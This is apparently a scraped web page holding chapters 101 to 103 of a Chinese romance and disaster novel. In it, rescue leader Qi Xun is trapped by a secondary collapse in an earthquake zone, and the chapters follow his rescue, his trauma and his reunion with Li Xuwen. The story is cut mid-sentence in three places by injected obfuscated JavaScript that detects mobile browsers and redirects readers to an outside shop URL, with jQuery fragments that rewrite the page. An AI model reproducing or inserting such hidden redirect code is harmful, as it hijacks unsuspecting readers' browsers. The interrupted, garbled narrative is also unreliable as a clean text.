盯着杂乱的波形盯了有将近一分钟,他忽然指着右侧楼体道:“那里,那一大块石板后面,调一下频,停三十秒。” 队员依言照做,但返回的波形依然被判定为噪音。 “还试吗?”队员问他:“好像是个死区。” 齐寻没回答。 此时此刻,他的耳朵从大片无序的反射声音中,捕捉到了一个极微弱的、富有节律的搏动。 它太微弱,被淹没在一大片凌乱不堪的噪音里,却依然坚持着、倔强地跳动着。 “不是碎石反射,应该也不是设备噪音,”齐寻沉吟了一下:“是心跳?” 但它慢得不合常理,如果那是心跳…… 齐寻立刻起身疾呼:“蛇管!蛇管看一下二层和三层中间,快,人要不行了!” 有经验的队员迅速上前架着梯子将蛇形摄像头放入目标地点,细痩的仪器在烟尘中游动了很远,终于在一个狭小空间里找到了一个人。 那人靠在墙上,背对着镜头,整个人蜷缩成很小的一团,看身量,应该是个瘦小的女性或是未成年。 摄像头停留了十几秒,好像都没有拍到她身体的呼吸起伏。 她的生命好像风中烛火,断断续续,只等着最后一阵强风,就悄然熄灭了。 齐寻一言不发,去拿随身破拆工具,一转身却被大山拦住:“你别进了,我去。” 小熊也凑过来道:“对,上次车祸你带我进楼,汗跟水洗一样。我去吧,我矮。” 跟他相熟的队员都知道齐寻进不了楼房,更别说这种震区的断壁残垣。 但现在显然不是能换人的时候。 “你们进去根本找不到人,”齐寻带上切割锯,说。 小熊急了:“你至少再带一个人,没有你这样的。” 齐寻看他一眼:“楼体沉降,表面开裂,二次坍塌的概率是多少,背。” 小熊撇着嘴,老老实实地:“约百分之八十五。” 齐寻点点头:“能省一个人是一个人,别废话,去拿液压剪和气垫,给我把出口破开。” 大山和小熊对视一眼,知道劝不住了,没再多话,去叫人破口了。 十五分钟后,入口准备完毕。 齐寻最后清点了一遍工具:切割锯、撬棍,小锤,还有呼吸器和便携探测仪。他戴好头灯,转身交代:“你们继续搜救,让后面的人去画标记,听着点指挥部消息,要是有吊车,赶紧去协调。” 小熊沉默着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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齐寻迅速用锤子小心地将吊顶板敲碎,细碎的石块随着他的动作不停掉落,最后哗啦一声,吊顶板直接从楼梯上掉下来,就摔碎在他的脚边。 整个楼体跟着这响动发出嗡鸣,齐寻一惊,立刻蹲下护住头部,好在身边的墙体只是晃了晃,并无进一步碎裂的迹象。 他向上看去,楼梯断了一半,但好歹还有地方踏脚,上方地面整个断开,露出龇牙咧嘴的水泥石灰块和钢筋。 他踩着扶手最上端,双手攀住裸露在他眼前的残骸,手臂和背部肌肉贲张,腰腹一用力,整个人便上到了二楼。 踩着一地碎砖头和碎玻璃,他放低声音:“有人么?有人在么?” 每叫一声,他便打起十二分的注意凝神静听,可回荡在他耳边的,只有他的耳鸣和动如擂鼓的心跳声。 衣服已经全部被冷汗浸湿了。 齐寻抬手抹了一把快滴进眼睛的汗,脚下一晃,身边忽然“嘶啦”一声,他扭头,发现工具包被裸露的钢筋划出了一个横贯的破口。 钢制老虎钳当啷一声掉在地上,发出脆亮的金属回响,齐寻咬着牙弯腰去捡,却在嗡鸣不止的回音里,听见了一阵非常微弱、断断续续的砂砾声。 有人在不远处,虚弱但不停歇地扔石块。 101. 第 101 章 那声音极其微弱,如果换一个人进来,不一定能在噪声中捕捉到这么细微的响动,就算听到了,也会以为是错觉。 声音被夹在瓦砾堆积的拐角处,齐寻额前的头灯在那里映出一个青白色的光斑。 他顺着越来越弱的声音穿过倒塌的隔墙,矮身钻过狭窄通道,最后终于停在了一个豁然张着方形大口的空间前。 潮闷的尘土混杂着调味料油腻的气息,还有排泄物的气味,凝成一股令人作呕的味道,一同向齐寻兜头拍来。 他三下两下拆除门上的碎玻璃,钻入这个塌了一半的厨房,看到角落形成的三角空间里,真的蜷缩着一个人。 齐寻大步过去,半跪着扶上那人肩膀:“你还好吗?” 受困者是个年轻的女人,一条腿以怪异的角度扭曲着,身体几乎僵直了,被他半拉半拽地扭过身,脸色苍白到透明,嘴唇干裂,眼睛半闭着,被头灯的光一照,眼皮都没动,只有瞳孔微微缩了缩。 齐寻心里一紧。 确实是强弩之末了,得快点带人出去,不然她可能都坚持不到外面。 他用小瓶葡萄糖给她沾了沾嘴唇,又灌了点进去,那女人嘴唇翕动,眼珠卡顿地转了转,慢慢地睁开了。 在看清来人的一瞬间,她手臂突然爆发出了一阵惊人的力量,死死拽住齐寻:“儿子,我的儿子!” 齐寻怕晃到孩子,关了头灯,往她怀里看,才看到她抱着一个很瘦小的幼儿,正靠着她安静地睡着。 “冷静,冷静下来,”齐寻拿铝毯裹住她,平视她的眼睛:“我这就带你们出去,你喝点水,恢复体力,为了你的孩子,好吗?” 女人还未完全清醒,听得半懂不懂,但面前人冷静的语气竟真的让她慢慢安静下来,小口啜饮着矿泉水,然后低头喂给怀里的孩子。 齐寻再次揩去额前的汗水,活动了一下颤抖的手指,按住手台:“发现伤者,是一对母子。重复,发现伤者,是一对母子,医疗队安排女队员上来。” 到了废墟的深处,对讲机信号已经很弱了,微弱的电波不停传来卡顿的滋啦声。 齐寻不能确定他们有没有听到,只能又对女人比划:“我,背你出去,孩子,”他做了个抱的手势:“给我。” 女人反应迟缓地盯着他看,在明白他的意思后,浑浊的眼珠亮了亮,嘴里反复地嘟囔着道谢。 她从三角空间里慢慢爬出来,把怀里的孩子交给齐寻,齐寻伸手小心接过,却一下子愣住了。 那孩子…… 眼睛还半睁着,但身体已经硬了。 尸体的冰凉从他的指尖一路疾速游走到他的心脏,又冷又尖地,狠狠在他胸口上戳了一刀。 这一刀让他恍惚,他分不清这种冰冷是来自一个陌生国度的不幸的孩子,还是来自多年前他没有见到最后一面的家人。 他肩线细细抖着,抬头看那女人,她正挣扎着拉开一个碎了一半的抽屉。 那一刻,眼前的场景突然扭曲,跟十年前母亲从抽屉里给他拿零钱的画面蓦地重合,他眼神顿时失焦,慢慢地、机械般地,伸出了手。 女人没看见他的动作,顾自从里面抓出一把花里胡哨的小孩零食,塞进口袋里。 齐寻一下回神,喉头深深咽动一次,收回手调整了下孩子的姿势,避开女人的目光,道:“女士,请到我背上来,我……” 话音未落,女人头上的橱柜突然发出一声不堪重负的吱呀声! 齐寻几乎来不及出声,劈手大力将她拖到身前,与此同时,整个橱柜连同后面的墙体,一齐向他拍了下来! 他肩膀正好在橱柜下方,代替女子的头顶硬挨了这一下,右肩瞬间没了知觉,碎掉的墙体被橱柜一挡,一部分落到了他背上,另一部分哗啦一声,碎在他身后。 齐寻闷哼了声,背部紧紧绷起,膝盖微曲向前一扑,跪倒在地上,把受困的母子一起扑在身下。 好在空间不大,墙体也不是承重墙,他背后还有背包,替他挡了一部分重创。饶是如此,他稍一吸气,肺部还是火烧一样地痛。 可他顾不得伤势,因为他听见有细微却连续的楼板摩擦声,从不远处嘎吱传来。 衣袋中的手台忽然尖锐地滋啦一响,传出一声模糊的:“白蛇——”齐寻心里猛地一沉,手台还没拿出来,地面和支撑他的岛台便开始剧烈地摇颤。 仅仅三五秒,就听外面一声巨响,腾起的烟尘瞬间扑进厨房,带着煤灰味的粉末几乎遮蔽了视野,紧接着,一阵憋闷的沉滞感像一张膜,紧紧覆住了他的口鼻。 ——居民楼发生了二次坍塌,塌方点堵住了原本的通气口,把他、把他们,一起封死在了这里。 齐寻因为剧痛而轻喘着,满嘴都是汹涌的血气,不知是伤得严重,还是因为…… 因为他终于又掉进了那个好不容易爬出来的深渊里。 他动作迟缓地坐起来,靠着墙根,竟慢慢地笑了。 ……被命运恶意的嘲弄逗笑的。 就好像他合该死在十年前的废墟里,那时候没死成,让他苟活这么多年,甚至叫他摸到了幸福,这才跳着脚,忙不迭又给他送来一场地震,非把他收走不可。 右侧肢体失控般地痉挛,齐寻蜷起腿,死死握住右拳,咬牙看向身边的妇人。 她在这里埋了将近四十小时,腿上的伤已经开始红肿溃烂。她眼睁睁看着远处光亮被堵死,半张着嘴,视线像固着在尘土飞扬的空中,连叫喊都发不出了。 齐寻把唯一一罐氧气塞进她手里,尽力展平自己的语气,仍盖不住每个字的扭曲颤抖:“我队友在外面,他们会来的。” 女人动作迟滞地回头看他,伸手要接他怀里的孩子,却被齐寻稍一侧身避过:“你保持清醒就行……孩子我来照顾。” 女人颓软的身体靠在他身上,用气声问:“多久?” 多久? 这种钢筋混凝土结构,要人工破开一个救援出口,大概需要5小时,就算只是一个能够对话、通气的气口,也要2-3小时。 如果能保证供氧,意识清醒,没有致命伤,她活下来没有问题。 可齐寻的精神状态……他很可能撑不到那个时候。 八年救援生涯,他试过被困在洪水中央,跟盗猎集团对峙,在风雪肆虐的山间搜救,数次险象环生,他都没有畏惧过。 而这一次对他来说,才是真正的险境,就像是一场为他量身定制的炼狱。 很久之前的曾经,他甚至觉得,如果最后一站是这样一个场景,都算是对他某种仁慈的恩赐。 但现在,他已经有闻闻了。 他再也不是烂命一条,不是死了也行,活着就是赚了。 有一个人正在大本营里,望眼欲穿地等着他回家。 心跳已经从过速转为心悸,每跳一下都好像在他胸膛里打抖;右侧肢体躯体化越来越严重,他几乎已经感受不到右手手指的存在了。 他含着满口血气,极慢极慢地说:“很快,很快了。别睡,你听我、听我讲一个,很美、很温暖的故事……” …… 此时此刻,居民楼外的队员们简直要疯了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216739|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他们听见楼里一声不妙的响动,而后眼睁睁地,看着原本危险地、虚搭着的楼板废墟,像危若累卵的积木一样,就在他们眼前,不留余地地轰然倾塌。 整个小队静默了三秒,大山突然反应过来:“技术员呢!上声呐!快点!” 技术员是个年轻小伙子,抱着仪器都快哭了,闻言一路小跑,穿过久久不散的尘烟,一边祈祷,一边在刚刚齐寻找到心跳的区域,一遍又一遍地发射声波信号。 他们被埋得不浅,声波被层层叠叠的钢筋楼板反射回来,全是凌乱的杂音。 现场没有一个人发出声音,连呼吸都屏住,好像不小心漏出一丝呜咽,都会干扰废墟里本该搏动的心脏。 小熊满脸都是泪,紧紧捏着对讲机,喃喃道:“哥,你得出来啊,不然我怎么跟闻姐交代……” 屏幕上的波形兀自凌乱了一阵,忽然,弹出了三个连续的、强过心跳体征的波动! 与此同时,接入主控台的耳机里,传来了很轻、但很稳定的脆响! 在场的队员同时长长松了口气,有眼窝浅的,直接哭出声了。 那是微光救援队约定过的信号——敲击一下,十分危险,两下,受到了可能丧命的伤害,三下,暂无险情。 大山抹了一把汗水和眼泪交汇的脸:“尽快,尽快破拆……今天就是刨,我们也得把白蛇活着刨出来!” …… 大本营里,所有能外出的成员,已经全部出发搜救,只有后勤组和医疗组,各留下两个人,为后续可能出现的伤员紧锣密鼓地做准备。 黎叙闻就是在清点药品时,听见B组发在主频道里的求援信息的。 “主频主频,这里是B组,西侧居民楼中发现幸存者,现场突发二次坍塌,请求调派全部空闲人员协助破拆。请尽快到位,完毕。” 黎叙闻后脑一阵翁响,直起身子,望向兀自响着的信号台。 “别急,正常的,”阿咩从后勤那边跑过来,对她道:“人手不够用,又没有吊车挖掘机,以前也这样。” 主频道消息重复了三遍,黎叙闻就凝神听了三遍,直到盘旋在空气里的尾音彻底散去了,她才蹙着眉问:“刚刚那个声音,不是白蛇。” “以前的求援信息……”她舔了舔嘴唇,好像不敢问下去:“也不是他发吗?” 阿咩一愣:“啊?” 随即,她就明白了黎叙闻的意思。 确实,以前只要是白蛇带队,这种协调和求援,一直都是他亲力亲为。 阿咩神情滞了一瞬,磕绊了下,才说:“也许现场需要他,你知道的,白蛇耳朵灵,有时候仪器都听不出的声音,他能听到,可能在忙也说不定。” 黎叙闻拧着的眉头一下子松了。 没错,就是这样。 他们第一次见面的时候,齐寻也是这样救了她,不是吗? 她点点头,转身去拿箱子里的绷带,一个恍神,把拿出来的生理盐水,又错放进了绷带箱子里。 一定是这样,黎叙闻按住狂跳不止的心脏,想,齐寻从来没有骗过我。 他说过要等他回来,他说过的。 “阿咩,我……” 她看着阿咩茫然的脸,又把后半句“想去找他”咽回了肚子里。 不,不能去,以她的状态,去了只会让他分心。 在他们再见面之前,她要好好地做完她该完成的任务,然后清醒地、安稳地,等着他回来。 至少她要能笑着给他一个坚实的拥抱。 他一定会回来的,一定。 102. 第 102 章 等齐寻在头灯不带温度的光中讲完自己一生的故事,身旁的妇人已经没了声息。 他身体几乎动不了了,只能勉强抬起左手,碰了碰她的侧颈。 脉搏很弱,但还在跳动。 头灯稀薄的灯光驱不散他眼前愈加粘稠的黑暗和寂静,他轻轻松了口气,用尽全力给她扣上氧气面罩,然后慢慢闭上了眼睛。 刻意强压的冷静跟着他的理智一起,慢慢分崩离析,创伤躯体反应加上缺氧和烟尘,让他已经没有力气撑起眼皮了。 可闭起眼睛,反而让他看到了一条很黑、但又很清楚的道路。 这条路上有很多人,有他救过的人,救援队的队友,有假装一脸慈祥收他入队的纪士诚,有跟他相熟的几个兄弟。 再往后,是他没能救下来的受困者,那些本该在他的努力下活下来的人,现在排着队,一起面无表情地看着他。 最后是他的父母,还有他素未蒙面,但亲手“杀掉”的那个人。 那个人没有脸,他甚至不知道对方是男是女,但就是能感受到那两道狂喜的目光射在他的脸上,就好像那人用命换来了一个诅咒,今天终于亲眼看到它应验。 耳鸣比刚刚更响了,混杂着一些越来越响的喧嚣,不知外面破拆的声响,还是仅仅是他强弩之末的错觉。 齐寻靠在破旧剥落的铁锅架边,坐在污泞一片的地板上,身边是一个气息微弱的妇人,还有她死去多时的孩子。 他觉得很累了。 这辈子他救了很多人,但依然救不了他自己。 手里敲击的钢筋不知已经停了多久,他左臂无意识地弹动了一下,手指一松,钢筋掉落在地上,发出一声沉闷的钝响。 他咬紧牙关,左手去够那截钢筋,身体稍稍一斜,薄薄的一个物件从胸口滑了出来。 头灯随着他的动作卡顿地转过去,照在那上面,银亮光线像针一样,刺进了他的眼睛。 那是他的铭牌,上面才添了闻闻的名字。 对啊,他想,刚刚那条路上,那些人里面,怎么没有她? 不行,没见到她,他还不能走呢……临行前,是不是还得抱抱她? 想着想着,他想起了黎叙闻的眼泪,和明明委屈得不行,还要假装掩饰的通红的眼眶。 那滴眼泪像是落在他胸口,心脏最深处骤然涌出一股温热的、奔腾的浪,几秒之内,迅速蔓延至他的四肢百骸。 他的意识凭着这股暖流重新凝聚,陌生的求生欲像海啸一样,几乎瞬间席卷了他的身体。 他握紧钢筋,一咬牙,抬手奋力敲击在身边的锅灶上。 当—— 刚刚黄泉一样的黢□□路遽然而散,一股带着尘土气味的新鲜空气像连着风机一样,瞬间强压进了他的肺里! 头灯缓缓移向前方,那里的墙壁远远地张着一只幽蓝色的眼睛,洞穿了一切。 有清润的风,带来了熟悉的声音。 “白蛇!队长!我们来了!” …… 从破口到人能出去,还需要很长时间的人工破拆,但从挖通的通路中供应上的空气、补给,还有肉眼可见的外部的努力,都让齐寻慢慢地从噩梦里挣脱出来。 他渐渐恢复力气之后,用外面递进来的设备问的第一句话,就是“闻闻?” 外面的大山很快明白他的意思,立刻回复:“闻姐不知道,没过来,你放心。” 听到这句,他长长地松了口气,又确认了身边的伤者还在微弱呼吸,才安心地昏睡了过去。 等他再度惊醒,已经又过去了两三个小时。 一阵墙体连续破碎的声音仿佛响在他耳边,小熊第一个带着装备嗷嗷嚎叫着冲进来,吵得齐寻直皱眉:“嘘,一会儿又塌了。” 他声音低哑艰涩得几乎听不清,小熊眼泪又下来了:“哥……” “救人,”齐寻仰头靠在锅架上,指指身边的女人:“要不行了。” 小熊哎了声,定睛一看,他身上还靠着个小孩,伸手要接过来:“这个我也……” 齐寻护住孩子,喉咙被烟尘粘得说不出话,冲他挥了挥手。 ……其实不管是他的体力,还是外面的状况,让这孩子就长眠在这里,是最好的安排。其余的队员,肯定也是这么想的。 但齐寻不想。 他的家人也被埋在那个“家”里,新的城市和生活在他们的身躯之上拔地而起,日复一日,不舍昼夜。 可他连个能凭吊家人的地方都没有,他能去的,只有那个大地震遇难者纪念碑。 上面刻着好几万人的名字,他曾经试图寻找过他父母的名字,可那么多人,那么多条命,他怎么找都找不到。 世界马不停蹄地往前走,但有些人和事,必须有一个落点,才能让活着的人真的有机会放下和释然。 小熊见他坚持,没有多问,留下一句“等我们”,便背起伤者,往出口去了。 外面的搜救还在继续,出口处传来队员们合力的号子声和声嘶力竭的叫喊——这片居民区不是只有这一栋楼,周边的建筑也陆续发现了受困者和伤者。 齐寻在原地坐了两三分钟,感觉身体能动了,便抱起怀里的孩子缓缓站起身,沿着钢筋林立的破碎通道,慢慢走出了这座废墟。 踏出去的那一刻,他几乎有一种再世为人的恍惚。 他竟真的能走出这里,真的能挣脱出那片困住他一辈子的沼泽地。 冲上来拥抱他的人将眼前刺眼的探照灯割成一道道光斑,在他眼前斑驳地晃动,齐寻忍着呕吐的冲动,几乎闭着眼,将孩子交给里身边的队友。 队友忙不迭接过来,孩子的身体一沾手,惊叫了一声,身体便跟当时的齐寻一样,僵住不动了。 “心理支援到了没有?”齐寻单手捂着仍鸣响不休的耳朵,问:“伤者可能需要心理干预。” 大山扶住他,低声说:“还没有,林老师签证有点问题,估计就这两天了。” “姓林的那个……”齐寻气都没喘匀,不忘补上后半句:“要他有什么用。” 大山苦笑着扶他:“林老师人挺好的,到底怎么招你了?” 新鲜的空气挤在周围,竟让齐寻有些醉氧,他咽了咽,正要跟大山走,只听不远处传来一声不似人的嚎叫,紧接着身体蓦地被剧烈一顶,整个人失去了平衡! 大山手一滑,眼看着他脚步虚浮地退了两步,一下子重重坐到了地上。 齐寻抬起头,艰难地眯了眯眼睛,只见刚刚在废墟里只剩一口气的那个受伤妇人,正死死瞪着他。 队员们目瞪口呆地看着这个刚刚还濒死的女人从担架上滚下去,拨开人群,手脚并用爬到齐寻面前。 “你说过你会救他!”女人嗓子估计破了,指着齐寻用喑哑的嗓子痛骂:“骗子!你杀了他,他死在你手上!骗子,骗子!” 她抖得像风中残叶,哭声断续:“杀人犯!” 这三个字精准地击碎了齐寻努力拼凑起来的时空感。 他一口气没上来,胸口狠狠扭作一团。 ……是吗? 旁人终于反应过来,连指责带哄劝,又拖又抱地将那妇人按回担架上,医疗组的上来,给她打了一阵镇静剂。 她的辱骂和哭泣在废墟之上久久盘桓,齐寻呆愣地坐在原地,脸上的灰尘和汗糊成一块,右肩和后背都已经没知觉了,耳边却始终回荡着那三个字。 杀人犯。 女人在彻底昏睡过去之前,还在锲而不舍地诅咒:“你会下地狱的,你不得好死,你永远都不会幸福。” 即使精神在崩溃的边缘,齐寻的听觉依然敏锐精准,于是这诅咒,无比清晰地落入了他心底的缝隙里。 ……倒是非常熟悉,跟他对自己的祝愿如出一辙。 有医疗组的年轻组员跑过来,指了指拖着的担架:“白蛇,不理她,咱回大本营。” 齐寻看着他单薄的身板,咧了咧嘴:“你抬我回啊?” 年轻组员窘迫了下,又鼓起勇气:“对!我抬你回!” 齐寻笑了笑,慢慢站起来,拍拍他的肩,转身一个人缓步往前。 小熊立刻跟上来,骂骂咧咧的:“什么玩意儿……你命都差点搭上,不谢谢你就算了……” 齐寻“嗯”了声,走得极慢,话也极慢:“不找个人来恨,估计她就活不下去了。”停了停,又说:“也行吧,总比一辈子恨自己强。” 小熊欸乃一声,脸皱成一团,见齐寻神色恍惚,又不忍心说了。 齐寻又往前两步,忽然转头对他说:“你,帮我个忙。” …… 等搜救组陆陆续续回来,已是月上中天,而大本营的忙碌,才刚刚开了个头。 伤员一波接着一波,有手腕上带着红黄绿标的幸存者,也有搜救时受了伤的队员。红十字会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222316|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的直升机来了三四趟,危重病人的转移速度却始终赶不上红标增长的速度。 黎叙闻跟另外两个医疗组成员留守在大本营,几乎忙得脚不沾地。 而此时此刻的她,比任何时候都要专注:登记、递腕标、处理伤口、包扎、给药,甚至还处理了两个她往常一看见就难受的重伤伤员。 “红色危急,黄色严重,绿色轻伤,”她口中不断念念有词:“黑色……” 如果她不忙碌、不抽离,她根本撑不到现在。 她会不顾警告和阻拦,执意跑去B组的救援现场。 就在这时,外面传来了一阵嘈杂的脚步,跟着B组的医疗队成员快步朝她过来:“闻闻,白蛇回来了。” 黎叙闻霍地站起来:“他怎么样?” “……不好讲,他在现场被救出来的人刺激了。你还是去看看他。”他接过黎叙闻手里的笔:“我替你,你去吧。” 黎叙闻哑着嗓子道了声谢,拔腿便出了收容帐。 到震区的第一天,到处都是兵荒马乱,大本营遍地都是小帐篷、睡袋和人,可她心里眼里谁都看不见,紧绷着一张脸,穿过忙碌的人群,眼睛茫然地扫过各处。 走到一半就被拦住了去路。 小熊叼着根辣条:“哎哟,这不闻姐吗?”他挡在她面前,晃晃手里油汪汪的袋子:“吃吗?” 大山跟在后面,对她点头:“闻姐。” 黎叙闻一开口,声音都是劈开的:“他怎么样了?” 大山跟小熊对视了一眼,道:“没受什么伤,就是精神不太好。” 黎叙闻回答都来不及,绕开他们就要走,却又被小熊拦住了。 她脸色又冷又沉,瞟他一眼:“让开。” 小熊心里叫苦不迭。 闻姐的性子谁不知道啊,敢拦她的路,简直是想死。 但回来的路上白蛇又给他下了死令,拦住她,不要让她找到行动组来。 他一边腹诽你们两口子能不能自己玩,一边陪着笑脸:“不是,他们洗澡呢,闻姐你去不合适。” “我没见过?”黎叙闻睨他:“再拦我现在就把你扒光。” 小熊欲哭无泪地捂住胸:“闻姐我还是黄花大小伙子呢……” 大山摇摇头,对黎叙闻道:“闻姐,你要么先回,他可能要自己待会儿。” 这句明明平常,可黎叙闻的气性一下就泄了。 她紧紧闭了闭眼,眼睛却干涩得发疼。 “我等不了了,你们让我看他一眼。”她满眼血丝:“看他一眼我就走,行吗?” 大山看着她通红的眼睛,沉默半晌,拉着小熊让开了路。 黎叙闻对他点点头,匆匆走了。 剩下小熊嚼着辣条在背后喊:“哎,不是,闻姐!白蛇不让你去,他……” 后半句被大山用一根辣条堵了回去:“吃你的吧处男!” …… 行动组人多,乱糟糟支了好几顶帐篷,黎叙闻每见到一个空帐篷就探头去找,终于在一处角落里,看见了齐寻的身影。 帐篷里没有别人,齐寻一个人背对着窗户,静静地坐着。 他腰塌着,脊背也佝偻,像是在把自己努力地团起来,尽量不引人注意,好像只有这样才能安全。 在看到他的背影的那个瞬间,黎叙闻要去掀门帘的手忽然冻住了。 她感觉有一张针尖织成的网,把她的心紧紧地裹起来,细密又尖锐的刺痛像蜂尾一样,蛰遍她每一寸神经。 早上他离开的时候,明明还那么笃定、那么沉稳,他还让她靠上坚实的胸口,告诉她一定不能倒下。 那现在这个躲着全世界的人,又是谁呢? 里面的人影似乎听到了动静,微微侧了侧脸。黎叙闻一惊,在反应过来之前,就已经把自己藏进了窗边的阴影里。 但她仍没有离开。 她只是靠在粗糙的化纤布的表面,寂静无声地陪他流泪。 周围脚步纷杂,人群熙攘,间或有伤员的呻.吟和队友疲惫的谈话声,静静地浮动在他们周围。 月色像湖水一样沉冷,像伤心人的眼泪。 黎叙闻投在地上的影子,在跟着星星一起颤抖。 她知道他在痛苦,也知道他在挣扎,她甚至知道,他一定感觉到了她就在附近,感觉到了她一直在看着他。 可他真的,一次都没有回头。 103. 第 103 章 到达震区的第一个夜晚,注定是许多人的不眠之夜。 凌晨两点,医疗组、后勤组成员仍在通宵达旦,治疗伤员、登记物资和发电,每个人都累得话也说不出来,只剩白天几个留守在营地的人还能直立行走。 收容帐前半边挤满了幸存者和病患,一波又一波,嘈杂得望不见头。黎叙闻被组长强制换下来休息,从收容帐出来,却又跑到后勤组临时搭起的办公处那边,跟阿咩一起写简报。 阿咩眼睛也红红的,两个行动组的流程报告堆了一桌子,却还在把她往外推:“你快去睡,我自己来就行。” “睡不了,”黎叙闻摇着头坐下:“在等人。” 她知道,今晚齐寻一定会来找他。 阿咩莫名地失落了一瞬,点点头,没再推却。 黎叙闻心烦意乱地整理流程报告,手头一顿,便看到了B组的那一份。 前面是齐寻的字迹,字如其人,很沉稳方正,从到达目的地,到构图计划、清理外围废墟,再到启动声呐仪搜救,每个步骤都写得明确详细。 再往下,就换了字迹。 黎叙闻的心跟着这字迹,一起揪了起来。 16:30–初步破拆完成,B组队长白蛇入坑 17:10–收到白蛇消息,成功定位受困者坐标 17:28–发生二次坍塌,白蛇被困 17:40-侦测定位,评估出口,旧路径不可行 18:00-收到白蛇信号,微弱,暂时安全 18:23–转向侧向破拆 20:00-彻底失去坑内讯号,怀疑白蛇和受困者死亡 …… “死亡”两个字笔画扭曲着,刀子一样刺进她的眼睛。 她明明没在现场,可这里的每一行,每个字,都不断地将她拉回那个属于他的战场。 他在里面跟过去、跟命运搏命,而她被保护在大本营里,十指不沾泥。 如果有什么时候,黎叙闻最痛恨自己、痛恨自己的父亲,那就是现在了。 若她不是这样孱弱,她起码可以去现场守着他,哪怕帮不上忙、说不上话,他也会知道,她就在那里,只要活着出去,就能见到她。 她不敢想,那个时候他有多艰难。 指尖无意识地收紧,纸张边缘被她握成濡湿的波浪,无声地咆哮着,一直翻滚进她的心里。 门口吊灯轻轻摇晃,门帘一起一落,一声温绵的呼唤陡然落入她的耳朵。 “闻闻?” 黎叙闻从汹涌的悲伤中抬起头,就看见她正心疼着的人,从纸上的生死边缘走了出来,出现在她的眼前。 齐寻仍是平日里那般沉稳挺拔,身上的衣服已经不是她刚刚见到的那一件,门后的夜风带着他身上清爽的水汽,一齐涌进来。 他笑得很柔和,几乎洗去了他惯有的泠然和紧绷,抱着双臂靠在门口,问她:“还没睡?” 就仿佛刚刚蜷缩在角落里,手里握着铭牌,一遍一遍反刍那些难听的诅咒的人,不是他。 阿咩第一个反应过来,收走桌上的资料,对黎叙闻道:“那我先去睡了。” 说完冲帐篷里另外两个人摆了摆手,带他们一起出去了。 其中一个后勤组成员路过齐寻时,奇怪地看了他一眼。 刚刚她回来时,明明看见白蛇面色僵硬地站在门口,站了很长时间,都没有进来。 他们副队……真是一个奇怪的人。 几个人的脚步声踩在学校操场的水泥地上,踢踢踏踏地走远了。 不远处的安置点传来孩子呜咽的哭声,近在咫尺,却泼不进他们之间的寂静。 黎叙闻坐在桌前,定定地望着门口的人。 那种眼神齐寻见过——在灾区救援时,他见过好几次拿着照片找亲人的人,到重逢时,他们的第一反应通常不是狂喜,而是一种从噩梦里醒来的恍然。 现在的黎叙闻就是这种表情。 齐寻压下复杂的念头,轻松道:“今天过得好吗?” 黎叙闻像是才回过神来,忽然站起来,也笑着:“挺好的呀,就是忙。”她兀自站了一会儿,似乎才想起来,拍拍身边的椅子:“你累了吧,来坐。” 齐寻答应了一声,心在这段客气到虚假的对话中隐隐作痛,后背紧绷着,慢慢走到她面前。 可一靠近,他就觉得不对了。 他原本想等自己冷静下来,整理好卫生,把所有都咽下去,然后再来看看她,确定她一切都好,就可以了。 再难的时候都过来了,装这么几分钟,对他来说简直小事一桩。 可一闻到她身上的味道,齐寻心里的某处严丝合缝的石板突然不妙地抖动了一下,一阵迟来的恐惧蓦地突破屏障,瞬间扬起几十米高的海啸,直接推翻了他所有伪装。 他被冲得身形一晃,一个趔趄坐在了凳子上。 下一刻,他忽然紧紧搂住她的腰,手指哆嗦着伸进她衬衫下摆,把头深深埋进了她柔软的小腹。 她身上有他熟悉的香气,光滑柔旎的肌肤,还有一种温热的、属于活人的气息。 齐寻埋在她身上,窒息般地大口呼吸,好像要借着她热气腾腾的身体,抵抗在他心底埋藏已久的死气。 黎叙闻身体紧绷着,轻呼了一声,然后感觉到他温暖而急切的唇舌,竟在瞬间读懂了他的渴求。 她的心钝痛着,裂成了好几瓣。 于是她不再躲了,而是用力抱住他的头,让他更深、更紧地感受她。 她的体温、她的接纳,和她无法言说的牵挂和等待。 她浑身都在抖,分不清是她自己的内里在颤抖,还是齐寻的呼吸一直在战栗。 有温热潮湿的触感在她身上缓缓洇开,她躬下身子,用身体将他包裹起来,鲜活有力的心跳每一下都响在他的耳边。 她的气息和温度织成一张细密柔软的网,破碎的灵魂住在里面,得以安然。 过了很长时间,齐寻才慢慢地松开她,眼底一片通红,说:“对不起。” 黎叙闻喉咙一阵一阵地堵,轻轻擦他眼角,声音也浮浮沉沉:“怎么能不让我见你呢?” 齐寻低着头,没回答。 因为太难看了。 在泥泞里挣扎的丑陋,那种拼命求生的姿态,是不会好看的。 “你知道吗,我上次去疗养院啊,”黎叙闻摸着他的头发,忽然讲起了不相关的事:“我看到我爸对门的阿姨,正在往墙上抹粑粑。” 齐寻一愣,困惑地抬头看她。 